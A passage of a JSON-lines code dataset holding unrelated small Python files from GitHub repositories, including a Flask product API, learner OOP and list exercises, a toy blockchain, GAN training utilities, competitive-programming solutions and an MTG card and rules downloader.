Y_MEAN, linewidth=2, linestyle='-', label=header)\n plt.fill_between(X_MEAN, Y_MEAN - Y_STD, Y_MEAN + Y_STD, alpha=0.2)\n \n # uncomment below and set limits if needed\n # plt.xlim(0,1.25)\n # plt.ylim(bottom=None, top=1.75)\n\n # Create the legend, then fix the fontsize\n # leg = plt.legend(loc='upper right', ncol = 1, fancybox=True)\n # ltext = leg.get_texts()\n # plt.setp(ltext, fontsize=18)\n\n # Adjust the page layout filling the page using the new tight_layout command\n plt.tight_layout(pad=0.5)\n\n # save the figure as a high-res pdf in the current folder\n filename = f\"{header}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.svg\"\n path = save_path / filename\n if SAVE_FIG is True:\n plt.savefig(path, transparent=True)\n\n plt.show()\n\ndef genetate_targets(range=[1, 4.2]):\n xy = np.linspace(range[0], range[1], num=3)\n targets = [(xy[0],xy[0]), (xy[0],xy[1]), (xy[0],xy[2]), \n (xy[1],xy[0]), (xy[1],xy[1]), (xy[1],xy[2]), \n (xy[2],xy[0]), (xy[2],xy[1]), (xy[2],xy[2])]\n return targets\n\ndef modify_env_design(env, params):\n # Modify the environment parameters\n env.robot.modify_design(params)\n\n return env\n\nif __name__ == \"__main__\":\n # Query the user for the path to the models\n models_path = queueDirectoryPath(Path.cwd(), header=\"Select models directory.\")\n # create a directory to save the data in the data's parent directory\n save_path = models_path.parent / \"figures_data\"\n # if the path exists check check if the user wants to overwrite it\n if os.path.exists(save_path): \n answer = guiYesNo(\"Overwrite Existing Data?\", f\"Data exits in {save_path}, do you want to overwrite it?\")\n if answer == 'yes': # delete the folder\n shutil.rmtree(save_path)\n if answer == 'no': # exit the program\n sys.exit()\n # if the path does not exist create it\n if not os.path.exists(save_path):\n os.makedirs(save_path)\n\n agents = getFileNames(file_type=\"zip\", path=models_path)\n evaluate_agents(agents, models_path, save_path)","repo_name":"asalbright/ULL-CRAWLAB","sub_path":"Code/Three Link Serial Manipulator/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":5727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"22242767219","text":"foods = [\"Bread\", \"Water\", \"Carrot\", \"Beef\"]\ncart_item = [\"GPU\", 1, 725.99] # We can store a mixture of typed items\n# Indexing: 0, 1, 2, 3\n# Alternative: -4, -3, -2, -1 (start from the back)\n\nfoods.extend([\"Onion\", \"Cheese\", \"Cake\", \"Curry\"]) # Append a whole list after original list\nprint(foods)\n\nfoods.insert(0,\"Banana\") # Insert \"Banana\" at position 1\nprint(foods)\n\n# Pop ending element, index(element) to find index of existing element, count, sort\n\n# Tuples use () and are immutable\n\n\n","repo_name":"Kevonosdiaz/self-learning","sub_path":"python/Lists.py","file_name":"Lists.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"1910552935","text":"import os\nfrom flask_restplus import Resource\nfrom flask import request,jsonify\nfrom ..utils.dto import ProductDto\nfrom ..utils.decorator import admin_required\nfrom ..utils.save_image import save_image\nfrom ..services import product_service\nfrom ..models.products import products_schema, product_schema\nfrom werkzeug.utils import secure_filename\nfrom werkzeug.exceptions import BadRequestKeyError\nfrom ..services import product_service, category_service\n\napi = ProductDto.api\n_product = ProductDto.product\n\n\n@api.route(\"\")\nclass Products(Resource):\n\n def get(self):\n products = product_service.get_all_products()\n return {\n \"data\": products_schema.dump(products)\n }\n\n @admin_required\n def post(self):\n try:\n image_1 = save_image(\"image_1\")\n image_2 = save_image(\"image_2\")\n image_3 = save_image(\"image_3\")\n name = request.form['name']\n description = request.form['description']\n price = request.form[\"price\"]\n category_id = request.form[\"category_id\"]\n category = category_service.find_category_by_id(category_id)\n if not category:\n return {\n \"message\": \"Category doesnot exist\",\n \"success\": False\n }, 404\n data = {\n \"name\": name,\n \"image_1\":image_1,\n \"image_2\":image_2,\n \"image_3\":image_3,\n \"description\": description,\n \"price\": price,\n \"category_id\": category_id\n }\n\n product = product_service.create_product(data)\n return {\n \"data\": product_schema.dump(product),\n \"message\": \"Product created successfully\",\n \"success\": True\n }\n except BadRequestKeyError as e:\n return {\n \"message\": str(e) or \"Missing some files check if files contain image_1 image_2 or image_3\"\n }, 500\n\n except Exception:\n return {\n \"message\": \"Unable to complete request\"\n }, 500 \n\n\n@api.route(\"/\")\nclass Product(Resource):\n\n def get(self, product_id):\n product = product_service.find_product_by_id(product_id)\n if not product:\n return {\n \"message\": \"Product Not Found\",\n \"success\": False\n }, 404\n _json = product.serialze() \n return {\n \"data\": _json\n }\n\n @admin_required\n @api.expect(ProductDto.product_update, validate=True)\n def put(self, product_id):\n product = product_service.find_product_by_id(product_id)\n if not product:\n return {\n \"message\": \"Product Not Found\",\n \"success\": False\n }, 404\n\n if not request.files or request.form:\n return {\n \"message\": \"Please provide on value for update\",\n \"success\": False\n }, 400\n\n data = {}\n if request.files:\n if \"image_1\" in request.files:\n data[\"image_1\"] = save_image(\"image_1\")\n\n if \"image_2\" in request.files:\n data[\"image_2\"] = save_image(\"image_2\") \n\n if \"image_3\" in request.files:\n data[\"image_3\"] = save_image(\"image_3\") \n\n if request.form:\n\n if \"name\" in request.form:\n data.name = request.form['name'] \n \n if \"description\" in request.form:\n data.description = request.form[\"description\"]\n\n if \"price\" in request.form:\n data.price = request.form[\"price\"] \n\n if \"category_id\" in request.form:\n category_id = request.form[\"category_id\"]\n category = category_service.find_category_by_id(category_id)\n if not category:\n return {\n \"message\": \"Category not Found\",\n \"success\": False\n }, 404\n data.category_id = category_id \n\n product_service.update_product(product, data)\n\n return {\"message\": \"Product updated successfully\",\n \"success\": True }\n\n @admin_required\n def delete(self, product_id):\n product = product_service.find_product_by_id(product_id)\n if not product:\n return {\n \"message\": \"Product Not Found\",\n \"success\": False\n }, 404\n\n product_service.delete_product(product)\n\n return {\n \"message\": \"Product Deleted Successfully\",\n \"success\": True\n }","repo_name":"MuhweziDeo/loci-furniture-backend","sub_path":"app/main/controllers/product_controller.py","file_name":"product_controller.py","file_ext":"py","file_size_in_byte":4729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"25959550978","text":"class Students:\n def __init__(self, name, surname, gender):\n self.name = name\n self.surname = surname\n self.gender = gender\n self.finished_courses = []\n self.courses_in_progress = []\n self.grades = {}\n self.avrg = float()\n \n \n def rate_hw(self,lecturer,course,grade):\n if isinstance(lecturer, Lecturers) and course in self.courses_in_progress and course in lecturer.courses_attached:\n if course in lecturer.grades:\n lecturer.grades[course] += [grade]\n else:\n lecturer.grades[course] = [grade]\n else:\n return 'Ошибка'\n \n def __str__(self):\n c_i_p = \",\".join(self.courses_in_progress)\n f_c = \",\".join(self.finished_courses)\n \n self.avrg = sum(sum(self.grades.values(),[])) / len((self.grades.values(),[]))\n res = f'Имя: {self.name}\\nФамилия: {self.surname}\\nСредняя оценка за домашние задания: {self.avrg}\\nКурсы в процессе изучения: {c_i_p}\\nЗавершенные курсы: {f_c}'\n return res \n \n def __lt__(self,other):\n if not isinstance(other,Students):\n print(\"No student\")\n return\n return self.avrg < other.avrg\n\nclass Mentors:\n def __init__(self, name, surname):\n self.name = name\n self.surname = surname\n self.courses_attached = []\n\n\nclass Lecturers(Mentors):\n def __init__(self, name, surname):\n super().__init__(name, surname)\n self.grades = {}\n self.courses_attached = []\n self.avrg = float()\n\n def average(self):\n self.avrg = sum(sum(self.grades.values(),[]))/len(self.grades.values(),[]) \n\n def __str__(self):\n res = f'Имя: {self.name}\\nФамилия: {self.surname}\\nСредняя оценка за лекции: {self.avrg}'\n return res\n \n def __lt__(self,other):\n if not isinstance(other,Lecturers):\n print(\"No lecturer\")\n return\n return self.avrg < other.avrg\n\n\nclass Reviewer(Mentors):\n def rate_hw(self, student, course, grade):\n if isinstance(student, Students) and course in self.courses_attached and course in student.courses_in_progress:\n if course in student.grades:\n student.grades[course] += [grade]\n else:\n student.grades[course] = [grade]\n else:\n return 'Ошибка'\n\n def __str__(self):\n res = f'Имя: {self.name}\\nФамилия: {self.surname}' \n return res\n\n\nstudent_1 = Students('Svetlana', 'Hodchenkova', 'female')\nstudent_1.courses_in_progress += ['Python']\nstudent_1.finished_courses += ['SQL']\n\nstudent_2 = Students('Roman', 'Unusov', 'mail')\nstudent_2.courses_in_progress += ['Java']\nstudent_2.finished_courses += ['SQL']\n\nstudent_3 = Students('Tim', 'Rodd', 'mail')\nstudent_3.courses_in_progress += ['SQL']\nstudent_3.finished_courses += ['Java']\n\n\n\nlecturer_1 = Lecturers('Ivan', 'Ivanov')\nlecturer_1.courses_attached += ['Python']\n\nlecturer_2 = Lecturers('Petr', 'Petrov')\nlecturer_2.courses_attached += ['Java']\n\nlecturer_3 = Lecturers('Sidr', 'Sidorov')\nlecturer_3.courses_attached += ['SQL']\n\n\n\nreviewer_1 = Reviewer('Andjelina', 'Jolly')\nreviewer_1.courses_attached += ['SQL']\nreviewer_1.courses_attached += ['Java']\nreviewer_1.courses_attached += ['Python']\n\nreviewer_2 = Reviewer('Mikky', 'Mouse')\nreviewer_2.courses_attached += ['Python']\nreviewer_2.courses_attached += ['Java']\nreviewer_2.courses_attached += ['SQL']\n\n\n\nstudent_1.rate_hw(lecturer_1, 'Python', 10)\nstudent_1.rate_hw(lecturer_1, 'Python', 10)\nstudent_1.rate_hw(lecturer_1, 'Python', 10)\n\nstudent_1.rate_hw(lecturer_2, 'Java', 5)\nstudent_1.rate_hw(lecturer_2, 'Java', 7)\nstudent_1.rate_hw(lecturer_2, 'Java', 8)\n\nstudent_1.rate_hw(lecturer_3, 'SQL', 7)\nstudent_1.rate_hw(lecturer_3, 'SQL', 8)\nstudent_1.rate_hw(lecturer_3, 'SQL', 9)\n\nstudent_2.rate_hw(lecturer_2, 'Java', 10)\nstudent_2.rate_hw(lecturer_2, 'Java', 8)\nstudent_2.rate_hw(lecturer_2, 'Java', 9)\n\nstudent_3.rate_hw(lecturer_3, 'SQL', 5)\nstudent_3.rate_hw(lecturer_3, 'SQL', 6)\nstudent_3.rate_hw(lecturer_3, 'SQL', 7)\n\n\n\n\nreviewer_1.rate_hw(student_1, 'Python', 8)\nreviewer_1.rate_hw(student_1, 'Python', 9)\nreviewer_1.rate_hw(student_1, 'Python', 10)\n\nreviewer_2.rate_hw(student_2, 'Java', 8)\nreviewer_2.rate_hw(student_2, 'Java', 7)\nreviewer_2.rate_hw(student_2, 'Java', 9)\n\nreviewer_2.rate_hw(student_3, 'SQL', 8)\nreviewer_2.rate_hw(student_3, 'SQL', 7)\nreviewer_2.rate_hw(student_3, 'SQL', 9)\n\n\n\nprint(f'Перечень студентов:\\n\\n{student_1}\\n\\n{student_2}\\n\\n{student_3}')\nprint()\nprint()\n\nprint(f'Перечень лекторов:\\n\\n{lecturer_1}\\n\\n{lecturer_2}\\n\\n{lecturer_3}')\nprint()\nprint()\n\nprint(f'Результат сравнения студентов (по средним оценкам за ДЗ): '\n f'{student_1.name} {student_1.surname} < {student_2.name} {student_2.surname} = {student_1 > student_2}')\nprint()\n\n\nprint(f'Результат сравнения лекторов (по средним оценкам за лекции): '\n f'{lecturer_1.name} {lecturer_1.surname} < {lecturer_2.name} {lecturer_2.surname} = {lecturer_1 > lecturer_2}')\nprint()\n\n\nstudent_list = [student_1, student_2, student_3]\nlecturer_list = [lecturer_1, lecturer_2, lecturer_3]\n\ndef student_rating(student_list, course_name):\n \n sum_all = 0\n count_all = 0\n for stud in student_list:\n if stud.courses_in_progress == [course_name]:\n sum_all += stud.avrg\n count_all += 1\n average_for_all = sum_all / count_all\n return average_for_all\n\n\ndef lecturer_rating(lecturer_list, course_name):\n \n sum_all = 0\n count_all = 0\n for lect in lecturer_list:\n if lect.courses_attached == [course_name]:\n sum_all += lect.avrg\n count_all += 1\n average_for_all = sum_all / count_all\n return average_for_all\n\n\n\nprint(f\"Средняя оценка для всех студентов по курсу {'Python'}: {student_rating(student_list, 'Python')}\")\nprint()\n\n\nprint(f\"Средняя оценка для всех лекторов по курсу {'Java'}: {lecturer_rating(lecturer_list, 'Java')}\")\nprint()\n","repo_name":"mainer2004/OOP","sub_path":"OOPself.py","file_name":"OOPself.py","file_ext":"py","file_size_in_byte":6322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"16625111101","text":"import sys\n\nfrom io import StringIO\n\nfrom . import tool_test\nfrom .. import tool\nfrom ..host import Host\n\n\nif sys.version_info[0] < 3:\n # pylint: disable=redefined-builtin\n str = unicode\n\n\nclass CoverageTestMixin(object):\n def _host(self):\n return Host()\n\n def _call(self, host, args, stdin=None,\n returncode=None, out=None, err=None):\n if stdin:\n host.stdin = StringIO(str(stdin))\n else:\n host.stdin = StringIO()\n host.stdout = StringIO()\n host.stderr = StringIO()\n actual_ret = tool.main(args, host)\n actual_out = host.stdout.getvalue()\n actual_err = host.stderr.getvalue()\n if returncode is not None:\n self.assertEqual(returncode, actual_ret)\n if out is not None:\n self.assertEqual(out, actual_out)\n if err is not None:\n self.assertEqual(err, actual_err)\n return actual_ret, actual_out, actual_err\n\n\nclass CoverageTestMain(CoverageTestMixin, tool_test.ToolTest):\n pass\n","repo_name":"ChromeDevTools/devtools-frontend","sub_path":"third_party/pyjson5/src/json5/tests/coverage_test.py","file_name":"coverage_test.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":2828,"dataset":"github-code","pt":"70"} +{"seq_id":"33143343933","text":"from block import Block\n\nclass BlockChain(object):\n def __init__(self):\n print(\"Instantiating\")\n self.chain = []\n self.current_node_transactions = []\n self.create_genesis_block()\n\n def create_new_block(self, proof, previous_hash):\n block = Block(\n index = len(self.chain),\n proof = proof,\n previous_hash = previous_hash,\n transactions = self.current_node_transactions\n )\n self.current_node_transactions = []\n self.chain.append(block)\n print(\"Block #\",len(self.chain)-1,\" has been added to the Blockchain!\")\n print(\"Hash: \",block.get_block_hash)\n print(\"Prev: \",block.previous_hash)\n print(\"\\n\")\n return block\n\n def create_genesis_block(self):\n print(\"Creating genesis block\")\n self.create_new_block(proof=0, previous_hash=0) \n\n def create_new_transaction(self, sender, recipient, amount):\n self.current_node_transactions.append({\n 'sender': sender,\n 'recipient': recipient,\n 'amount': amount\n })\n return self.get_last_block.index + 1\n\n @staticmethod\n def create_proof_of_work(previous_proof):\n proof = previous_proof + 1\n while (proof + previous_proof) % 7 != 0:\n proof += 1\n return proof\n\n @property\n def get_last_block(self):\n return self.chain[-1]\n","repo_name":"erizghozi/blockchain-practice","sub_path":"blockchain01.py","file_name":"blockchain01.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"74479373985","text":"N, K = map(int, input().split())\nm = 10**9 + 7\nn = N\n\n\n# nの階乗をmod mで返す\ndef mod_factorial(n, m):\n r = 1\n for i in range(1, n+1):\n r *= i\n r %= m\n return r\n\n\ninvs = [0] * (n + 1)\ninvs[1] = 1\nfor i in range(2, n + 1):\n invs[i] = m - invs[m % i] * (m // i) % m\n\n\n# n1とn2のmod での階乗の逆元を返す関数\ndef mod_inv_factorial2(n1, n2, m):\n n = max(n1, n2)\n r1 = r2 = 1\n for i in range(1, n+1):\n r1 *= invs[i]\n r1 %= m\n if i == min(n1, n2):\n r2 = r1\n return r1*r2 % m\n\n\ndef solver(i):\n return mod_factorial(N-K+1, m)*mod_factorial(K-1, m)*mod_inv_factorial2(i, N-K+1-i, m)*mod_inv_factorial2(i-1, K-i, m)\n\n\nfor i in range(1, K+1):\n if N-K+1-i >= 0:\n print(solver(i) % m)\n else:\n print(0)\n\n\n\n\n","repo_name":"kikugawa-shoma/Atcoder","sub_path":"ABC/ABC132/ABC132D.py","file_name":"ABC132D.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"16000907274","text":"from collections import defaultdict\nfrom typing import Sequence, Any, Dict\n\nfrom enre.cfg.Resolver import Resolver\nfrom enre.cfg.HeapObject import FunctionObject, InstanceMethodReference, ClassObject\nfrom enre.cfg.module_tree import ModuleSummary, Scene\nfrom enre.ent.entity import Function, Entity, Class\n\n\ndef from_summaries(summaries: Sequence[ModuleSummary]) -> str:\n ret = \"\"\n for summary in summaries:\n ret += f\"{str(summary)}\\n\"\n for name, objs in summary.get_namespace().items():\n ret += f\"\\t{name}: \"\n ret += \",\".join(str(obj.representation()) for obj in objs)\n ret += \"\\n\"\n\n return ret\n\n\ndef call_graph_representation(resolver: Resolver) -> Dict[str, Any]:\n call_graph_dict = defaultdict(list)\n call_graph = resolver.call_graph\n for source, invoke_targets in call_graph.graph.items():\n for target in invoke_targets:\n if isinstance(target, Class) and \"builtins\" not in target.longname.longname:\n continue\n call_graph_dict[source.longname.longname].append(target.longname.longname)\n return call_graph_dict\n","repo_name":"xjtu-enre/ENRE-py","sub_path":"enre/vis/summary_repr.py","file_name":"summary_repr.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"70"} +{"seq_id":"72318156068","text":"\"\"\"Added public_registration to org\n\nRevision ID: a5975fec3593\nRevises: f9f97fd76920\nCreate Date: 2022-01-17 13:39:31.277802\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'a5975fec3593'\ndown_revision = 'f9f97fd76920'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('organization', sa.Column('public_registration', sa.Boolean(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('organization', 'public_registration')\n # ### end Alembic commands ###\n","repo_name":"alibaba/easydispatch","sub_path":"src/dispatch/database_util/revisions/core/versions/2022-01-17_a5975fec3593.py","file_name":"2022-01-17_a5975fec3593.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"70"} +{"seq_id":"21120458942","text":"## Import The Modules\nimport stox\nimport pandas as pd\n\nstock_list = pd.read_csv(\"SPX500.csv\") ## Read Stock Ticker List CSV\ndf = stock_list ## Store It As A Variable\nnumber_of_stocks = 505 ## Number Of Tickers In CSV\nx = 0\nwhile x < number_of_stocks:\n ticker = stock_list.iloc[x][\"Symbols\"] ## Get The Current Ticker Symbol\n data = stox.stox.exec(ticker,'list') ## Get Analysis From Stox\n ## Import All Needed Data (Price, Prediction, Analysis, etc.)\n df['Price'] = data[1] \n df['Prediction'] = data[2]\n df['Analysis'] = data[3]\n df['DateFor'] = data[4]\n ## Run Scan For Buy/Up/Down/Sell\n if data[2] - data[1] >= data[1] * 0.02:\n if data[3] == \"Bullish (Starting)\":\n df['Signal'] = \"Buy\"\n elif data[3] == \"Bullish (Already)\":\n df['Signal'] = \"Up\"\n elif data[2] - data[1] <= data[1] * -0.02:\n if data[3] == \"Bearish (Starting)\":\n df['Signal'] = \"Sell\"\n elif data[3] == \"Bearish (Already)\":\n df['Signal'] = \"Down\"\n else:\n df['Signal'] = \"None\"\n x = x+1\ndf.to_csv(\"output.csv\") ## Export To CSV\nprint(\"Done\") ## Print 'Done' After Complete\n","repo_name":"dopevog/stox","sub_path":"Examples/SPX500Scanner/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"70"} +{"seq_id":"41022063410","text":"import pandas as pd\nimport numpy as np\n\npd.options.mode.chained_assignment = None\n\ndf = pd.read_excel('data/eHP2.xlsm', sheet_name='125 V eHP', engine='openpyxl')\ndetails = pd.read_excel('data/eHP2.xlsm', sheet_name='125 V', engine='openpyxl')\n\ndef get_hull(ship_name):\n return details.loc[details['Ship'] == ship_name]['Type'].iloc[0]\n\ndef main():\n\tnew_df = df[['Ship', 'Armor', 'SORT']]\n\tnew_df['hull'] = new_df['Ship'].apply(get_hull)\n\tnew_df['SORT'] = new_df['SORT'].astype(np.int32)\n\tnew_df.rename(columns={'Ship': 'name', 'Armor': 'armor', 'SORT': 'ehp'}, inplace=True)\n\tnew_df.sort_values('ehp', inplace=True)\n\tnew_df.reset_index(drop=True, inplace=True)\n\tnew_df.to_csv('data/vg.csv')\n\nif __name__ == '__main__':\n main()\n","repo_name":"risbi0/azur-lane-ehp","sub_path":"scripts/get_vg_data.py","file_name":"get_vg_data.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"21313727374","text":"import copy\nimport numpy as np\nimport shutil\nfrom scipy.stats import truncnorm\n\nimport torch\nimport torch.nn as nn\n\n\nclass EMA(object):\n \"\"\"Apply EMA to a model.\n\n Simple wrapper that applies EMA to a model. Could be better done in 1.0 using\n the parameters() and buffers() module functions, but for now this works\n with state_dicts using .copy_\n\n \"\"\"\n\n def __init__(self, source, target=None, decay=0.9999, start_itr=0):\n self.source = source\n if target is not None:\n self.target = target\n else:\n self.target = copy.deepcopy(source)\n self.decay = decay\n\n # Optional parameter indicating what iteration to start the decay at.\n self.start_itr = start_itr\n\n # Initialize target's params to be source's.\n self.source_dict = self.source.state_dict()\n self.target_dict = self.target.state_dict()\n\n print('Initializing EMA parameters to be source parameters...')\n with torch.no_grad():\n for key in self.source_dict:\n self.target_dict[key].data.copy_(self.source_dict[key].data)\n\n def update(self, itr=None):\n # If an iteration counter is provided and itr is less than the start itr,\n # peg the ema weights to the underlying weights.\n if itr and itr < self.start_itr:\n decay = 0.0\n else:\n decay = self.decay\n with torch.no_grad():\n for key in self.source_dict:\n self.target_dict[key].data.copy_(self.target_dict[key].data * decay\n + self.source_dict[key].data * (1 - decay))\n\n def __repr__(self):\n return (f'Source: {type(self.source).__name__}\\n'\n f'Target: {type(self.target).__name__}')\n\n\ndef ortho(model, strength=1e-4, blacklist=[]):\n \"\"\"Apply modified ortho reg to a model.\n\n This function is an optimized version that directly computes the gradient,\n instead of computing and then differentiating the loss.\n \"\"\"\n with torch.no_grad():\n for param in model.parameters():\n # Only apply this to parameters with at least 2 axes, and not in the blacklist.\n if len(param.shape) < 2 or any([param is item for item in blacklist]):\n continue\n w = param.view(param.shape[0], -1)\n grad = (2 * torch.mm(torch.mm(w, w.t())\n * (1. - torch.eye(w.shape[0], device=w.device)), w))\n param.grad.data += strength * grad.view(param.shape)\n\n\ndef default_ortho(model, strength=1e-4, blacklist=[]):\n \"\"\"Default ortho regularization.\n\n This function is an optimized version that directly computes the gradient,\n instead of computing and then differentiating the loss.\n \"\"\"\n with torch.no_grad():\n for param in model.parameters():\n # Only apply this to parameters with at least 2 axes & not in blacklist.\n if len(param.shape) < 2 or param in blacklist:\n continue\n w = param.view(param.shape[0], -1)\n grad = (2 * torch.mm(torch.mm(w, w.t())\n - torch.eye(w.shape[0], device=w.device), w))\n param.grad.data += strength * grad.view(param.shape)\n\n\ndef hook_sizes(G, inputs, verbose=True):\n\n # Hook the output sizes\n sizes = []\n\n def hook_output_size(module, input, output):\n sizes.append(output.shape)\n\n names, mods = zip(*[(name, p) for name, p in G.named_modules() if list(p.parameters()) and (not p._modules)])\n for m in mods:\n m.register_forward_hook(hook_output_size)\n\n with torch.no_grad():\n output = G(*inputs)\n\n if verbose:\n max_len = max(max([len(n) for n in names]), len('Input'))\n\n for i, input in enumerate(inputs):\n print(f'Input {i:<{max_len}} has shape: {input.shape}')\n\n for name, s in zip(names, sizes):\n print(f'Layer {name:<{max_len}} has shape: {s}')\n\n return output, names, sizes\n\n\ndef save_checkpoint(state, is_best_IS, is_best_FID, filename='checkpoint.pth.tar'):\n torch.save(state, filename)\n if is_best_IS:\n fname = filename.rstrip('.pth.tar') + '_best_IS' + '.pth.tar'\n shutil.copyfile(filename, fname)\n if is_best_FID:\n fname = filename.rstrip('.pth.tar') + '_best_FID' + '.pth.tar'\n shutil.copyfile(filename, fname)\n","repo_name":"alexandonian/ganocracy","sub_path":"gan_training/ganocracy/models/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4387,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"70"} +{"seq_id":"23467276816","text":"import numpy as np\n\n# Load data\nprograms = []\n\nfilename = \"day12.txt\"\nwith open(filename) as f:\n # Find the number of programs\n N = len(f.readlines())\n # Build adjacency matrix\n pipes = np.zeros([N, N])\n\nwith open(filename) as f:\n # Populate the adjacency matrix\n for line in f.readlines():\n line = line.strip().split(\" <-> \")\n origin = int(line[0])\n dests = [int(x.strip()) for x in line[1].strip().split(',')]\n for dest in dests:\n pipes[origin][dest] = 1\n\n# Find all connections from a given program\nprogram = 0\nconnections = []\nqueue = [x for x in np.where(pipes[program] != 0)[0]]\n\nwhile queue:\n element = queue.pop(0)\n if element not in connections:\n connections.extend([element])\n queue.extend([x for x in np.where(pipes[element] != 0)[0] if (x is not program) and not x in connections])\n\nprint(\"Result=\", len(connections))\n","repo_name":"alvaropp/AdventOfCode","sub_path":"2017/day12-1.py","file_name":"day12-1.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"69980375587","text":"''' UPDATE MANAGER '''\n'''\n This file is intended to run an update check every time the bot is started: it will check for two updates:\n 1. Card database update\n 2. Rules database update\n \n Once the basics are set up, it will also run the update check daily at 00:00 (in the running computer's timezone)\n'''\nimport hashlib, json, os, asyncio, filetype, sys, aiohttp, urllib.parse\nfrom helpers.simplifyjson import JSONSimplifier\nfrom helpers.helperfns import simplifyString\n\nDAY = 86400\nHOUR = 3600\n\nclass Updater:\n\n def __init__(self,jsonpath,rulespath,blacklist,picspath):\n self.session = aiohttp.ClientSession()\n self.jsonpath = jsonpath\n self.rulespath = rulespath\n self.rulesurl = \"https://media.wizards.com/2021/downloads/MagicCompRules%20202109224.txt\"\n self.simplifier = JSONSimplifier(blacklist)\n self.picspath = picspath\n self.jsonurl = \"https://mtgjson.com/api/v5/AllPrintings.json\"\n self.picURL1 = \"https://gatherer.wizards.com/Handlers/Image.ashx?name=\"\n # insert cardname with spaces as %20 between these two strings\n self.picURL2 = \"&type=card\"\n\n def clearHash(self):\n with open(self.jsonpath+\".hash.txt\",'w') as f:\n f.write(\"None\")\n print(\"Hash cleared\")\n\n async def checkUpdate(self,CardManager):\n while True:\n try:\n # Section for getting json updates\n resp = await self.session.get(self.jsonurl+'.sha256')\n urlhash = await resp.text()\n if not os.path.isfile(self.jsonpath+\".hash.txt\") or \\\n not open(self.jsonpath+\".hash.txt\").read() == urlhash:\n print(\"New JSON hash found. updating.\")\n await self._updateJSON()\n else:\n print(\"JSON hash not updated\")\n await self._downloadPics()\n # section for getting rules updates\n resp = await self.session.get(self.rulesurl)\n urlhash = await resp.read()\n if not os.path.isfile(self.rulespath+\".hash.txt\") or \\\n not open(self.rulespath+\".hash.txt\").read() == hashlib.sha224(urlhash).hexdigest():\n print(\"New rules hash found. updating.\")\n await self._updateRules()\n CardManager.update()\n await asyncio.sleep(DAY)\n except:\n print(\"Wizards offline, waiting one hours\")\n await asyncio.sleep(HOUR)\n\n # Update the json if necesasry\n async def _updateJSON(self):\n try:\n print(\"Downloading full json\")\n resp = await self.session.get(self.jsonurl)\n download = self.simplifier.simplify(await resp.json())\n except:\n print(\"Problem in downloading JSON file.\")\n raise\n with open(self.jsonpath,'w') as jsonfile:\n print(\"Saving modified JSON\")\n json.dump(download,jsonfile)\n\n async def _downloadPics(self):\n print(\"Loading JSON file\")\n download = json.load(open(self.jsonpath))\n newcards = 0\n existingcards = 0\n if not os.path.isdir(self.picspath):\n os.mkdir(self.picspath)\n print(\"Downloading sets:\",end=\" \")\n try:\n setlevel = download['data']\n # s will be a dictionary key\n for s in setlevel:\n print(s,end=\" \")\n sys.stdout.flush()\n # c will be a dictionary of the card itself\n for c in setlevel[s]['cards']:\n cardpath = self.picspath+'/'+simplifyString(c['name'])\n if os.path.isfile(cardpath+'.jpg') or os.path.isfile(cardpath+'.png'):\n existingcards += 1\n continue\n newcards += 1\n cardurl = urllib.parse.quote(c['name'])\n resp = await self.session.get(self.picURL1+cardurl+self.picURL2)\n downfile = await resp.read()\n with open(cardpath+'.'+filetype.guess(downfile).extension,'wb') as f:\n f.write(downfile)\n with open(self.jsonpath + \".hash.txt\", 'w') as f:\n resp = await self.session.get(self.jsonurl + '.sha256')\n f.write(await resp.text())\n print(\"Updated JSON hash\")\n except:\n print(\"Wizards is down. Retrying later.\")\n raise\n print(f\"\\nCards downloaded. New cards: {newcards}. Existing cards: {existingcards}\")\n\n async def _updateRules(self):\n print(\"Saving new rules\")\n resp = await self.session.get(self.rulesurl)\n newrules = self._simplifyRules([line.strip() for line in await resp.text()])\n with open(self.rulespath,'w') as f:\n f.write(newrules)\n print(\"New rules saved\")\n with open(self.rulespath+\".hash.txt\",'w') as f:\n resp = await self.session.get(self.rulesurl)\n f.write(hashlib.sha224(await resp.read()).hexdigest())\n print(\"Rules hash updated\")\n\n # ... and this is just to cut all the non-rules text out of the rules file, like the credits and stuff\n def _simplifyRules(self,rules):\n print(\"Simplifying rules\")\n newrules = \"\"\n creditscount = 0\n for rule in rules:\n if rule[0] != '1' and not newrules:\n continue\n elif rule.split()[0] == 'Credits':\n creditscount += 1\n elif rule.split()[0] == 'Glossary':\n continue\n elif creditscount == 2:\n break\n else:\n newrules += rules + '\\n'\n return 